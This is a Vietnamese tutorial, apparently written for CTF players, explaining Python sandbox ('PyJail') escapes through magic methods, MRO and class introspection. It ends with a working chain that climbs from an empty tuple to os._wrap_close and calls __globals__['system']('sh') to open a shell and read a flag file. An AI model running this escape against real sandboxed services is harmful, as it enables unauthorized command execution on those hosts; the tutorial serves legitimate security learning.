Pyjail
Mở đầu
Đầu tiên ta nói về Sandbox (thực tế thì PyJail còn có một tên gọi khác là Python Sanbox). Sandbox là một kĩ thuật có tác dụng cô lập các ứng dụng, ngăn chặn các phần mềm độc hại để chúng không thể làm hỏng hệ thống máy tính. Về cơ bản, sandbox là một môi trường được dùng để chạy phần mềm và môi trường đó được nằm trong sự kiểm soát chặt chẽ. Sandbox giúp hạn chế chức năng của một đoạn mã, cấp quyền cho một đoạn mã nào đó chỉ được thực hiện một số chức năng nhất định, từ đó nó không thể thực hiện những can thiệp khác có thể làm nguy hại cho máy tính người dùng.
Vậy cách thiết lập sandbox cho ứng dụng như thế nào?
- Máy ảo: Chẳng hạn như VirtualBox hay VMware giúp tạo ra các thiết bị phần cứng ảo.
- Sandboxie
- Windows Sandbox
Ở mức độ lập trình thì ta có thể mô phỏng lại môi trường sandbox bằng cách loại bỏ các module nguy hiểm như
os.system, open, exectrong Python.
Tiếp theo ta cần nắm một số kiến thức về Python.
Python Object Hierarchy
Python là ngôn ngữ lập trình hướng đối tượng. Gần như mọi thứ trong Python đều là các Object. Các object này có thuộc tính và methods riêng cũng như thuộc về các class khác nhau. Một class có thể xem như là một object constructor, đóng vai trò khởi tạo các objects.
Đọc thêm tại đây: https://docs.python.org/3/tutorial/classes.html
Đầu tiên ta xem xét các magic methods trong Python. Magic methods là tập hợp các methods đặc biệt trong Python, những methods này sẽ được tự động gọi khi ta thực hiện các hành động cụ thể trong chương trình. Có 4 loại magic methods chính: Object Instantiation, Type Conversions, Arithmetic Operators và cuối cùng là Comparision Operators.
Object Instantiation ở đây chỉ gồm __init__ method. Method này được sử dụng đến gán attributes cho object. Chẳng hạn:
class Point:
def __init__(self,x ,y):
self.x = x
self.y = y
Type conversions dùng để chuyển đổi qua lại giữa các kiểu dữ liệu. Chẳng hạn muốn chuyển từ str sang int thì ta thường làm như sau:
a = "123"
b = int(a)
print(b)
Để xem kiểu của một object ta dùng cú pháp type(obj).
>>> type(b)
<class 'int'>
>>>
Ví dụ:
class Temperature:
def __init__(self, celsius):
self.celsius = celsius
def __int__(self):
return int(self.celsius)
def __float__(self):
return float(self.celsius)
def __str__(self):
return f"{self.celsius}°C"
def __repr__(self):
return f"Temperature({self.celsius})"
Arithmethic Operators được dùng để nạp chồng toán tử. Chẳng hạn như class ma trận sẽ có phép cộng và phép nhân được thực hiện khác với class số nguyên bình thường.
class Vector:
def __init__(self, x, y):
self.x = x
self.y = y
def __add__(self, other):
return Vector(self.x + other.x, self.y + other.y)
def __sub__(self, other):
return Vector(self.x - other.x, self.y - other.y)
def __mul__(self, scalar):
return Vector(self.x * scalar, self.y * scalar)
def __rmul__(self, scalar):
return self.__mul__(scalar)
def __repr__(self):
return f"Vector({self.x}, {self.y})"
Cuối cùng là Comparision Operators.
class Comparison:
def __init__(self, value):
self.value = value
def __eq__(self, other):
return self.value == other.value
def __lt__(self, other):
return self.value < other.value
# ... and so forth
| Method | Operator | Description |
|---|---|---|
| eq | == | Equal to |
| ne | != | Not equal to |
| lt | < | Less than |
| gt | > | Greater than |
| le | <= | Less than or equal to |
| ge | >= | Greater than or equal to |
Để xác định các methods cho một obj thì ta sẽ dùng cú pháp dir(obj). Chẳng hạn như sau:
>>> a = 100
>>> dir(a)
['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__getstate__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'as_integer_ratio', 'bit_count', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'is_integer', 'numerator', 'real', 'to_bytes']
>>>
Ở đây các methods được chia làm 2 loại như ta đã thấy, một là các magic methods có dạng __name__ và hai là các methods thông thường. Để sử dụng các method thông thường thì ta cần gọi trực tiếp nó ra thông qua object. Ví dụ
>>> a = 100
>>> a.bit_length()
7
>>> b = b'concac'
>>> c = int.from_bytes(b)
>>> c
109330244526435
>>>
a ở đây đóng vai trò là một instances của int. Khi gọi dir(a) nó không chỉ trả về các attribute và method được định nghĩa trong int mà còn trả về luôn cả các attribute và method được kế thừa từ object
>>> int
<class 'int'>
>>> dir(int)
['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__getstate__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'as_integer_ratio', 'bit_count', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'is_integer', 'numerator', 'real', 'to_bytes']
>>> a = 100
>>> dir(a)
['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__getstate__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'as_integer_ratio', 'bit_count', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'is_integer', 'numerator', 'real', 'to_bytes']
>>>
Hơn nữa khi ta gọi method mro thì được kết quả như sau:
>>> int.__mro__
(<class 'int'>, <class 'object'>)
Điều này chứng tỏ mọi class trong Python đều là subclass của class cha là class object. MRO ở đây được hiểu đơn giản là trình tự kế thừa của lớp. Ví dụ:
class Gun:
armor = 30
class AK47(Gun):
armor = 20
def display(self):
print("Default armor for gun class: ", super().armor)
print("Armor for AK47 type: ", self.armor)
Khi gọi AK47.mro() ta sẽ được:

Khi sử dụng một phương thức với đối tượng thuộc lớp AK47, chương trình sẽ tìm kiếm phương thức dựa trên thứ tự MRO như trên. Đầu tiên sẽ tìm kiếm phương thức trong class AK47, nếu không có thì sẽ tìm đến Parent là Gun rồi cuối cùng là Object (base class mặc định cho mọi loại dữ liệu Python)
Nếu mọi người để ý kĩ thì trong đống methods ở trên có một method khá thú vị đó là __class__.
Method này có tác dụng trả về class của đối tượng hiện tại.
>>> a = 100
>>> a.__class__
<class 'int'>
>>>
Trong Python OOP, để gọi methods của class cha thì ta dùng hàm super(). Hàm super() sẽ trả về cho ta một proxy object (mình không chắc gọi nó như vậy có đúng hay không nữa . . .), proxy object này là một object được dùng để wrap một object khác nhằm mục đích gọi hàm cha của object.
Một cách mạnh hơn mà ta sẽ dùng để “leo thang” đó là __base__.
Đây là một special attributes của lớp kiểu dữ liệu Type, bao gồm int, tuple, v.v…

Đầu tiên, từ một tuple rỗng, (), ta sẽ truy cập vào base class của nó, chính là object bằng cách gọi __bases__, nhưng trước đó ta cần gọi attributes __class__ để lấy về class mà đối tượng thuộc về.
>>> ().__class__.__bases__[0]
<class 'object'>
>>>
Như vậy, lúc này ta đã có được quyền truy cập vào class Object và bước tiếp theo ta sẽ liệt kệ ra toàn bộ các subclasses của class này, bằng cách sử dụng một special methods là __subclasses__()


Để chiếm shell thì bước tiếp theo mình cần làm đó là tìm xem trong các subclasses trên class nào chứa os.
>>> [i for i,c in enumerate(().__class__.__base__.__subclasses__()) if 'os' in c.__name__]
[97, 155]
>>>
Check xem thử hai class này là gì?
>>> ().__class__.__bases__[0].__subclasses__()[97]
<class 'positions_iterator'>
>>> ().__class__.__bases__[0].__subclasses__()[155]
<class 'os._wrap_close'>
>>>
Chỉ có class số 155 là dùng được vì nó được gọi trực tiếp ra từ bên trong module os. Bây giờ để khai thác subclass này thì đầu tiên ta sẽ gọi vào init method của nó.
Lí do ta gọi __init__ ở đây là gì? Thực ra ta gọi method nào cũng được miễn là method đó nằm trong class mà ta đang đề cập tới. Như trong class trên ta có hai method là close hoặc __init__ đều được.
Cả close và __init__ đều thuộc kiểu callable. Callable types có một special attributes đó chính là __globals__. Nếu hiểu một cách đơn giản thì __globals__ sẽ trả về cho ta tất cả mọi thứ, từ các biến, hàm và thư viện đang tồn tại trong source code của module os mà ta đang chỉ tới.

__globals__ sẽ trả về cho ta một dict, việc còn lại là lấy hàm đó qua thông qua key và gọi shell.
>>> ().__class__.__bases__[0].__subclasses__()[155].close.__globals__['system']
<built-in function system>
>>> ().__class__.__bases__[0].__subclasses__()[155].close.__globals__['system']('sh')
$ cat flag.txt
W1{first_jail}
$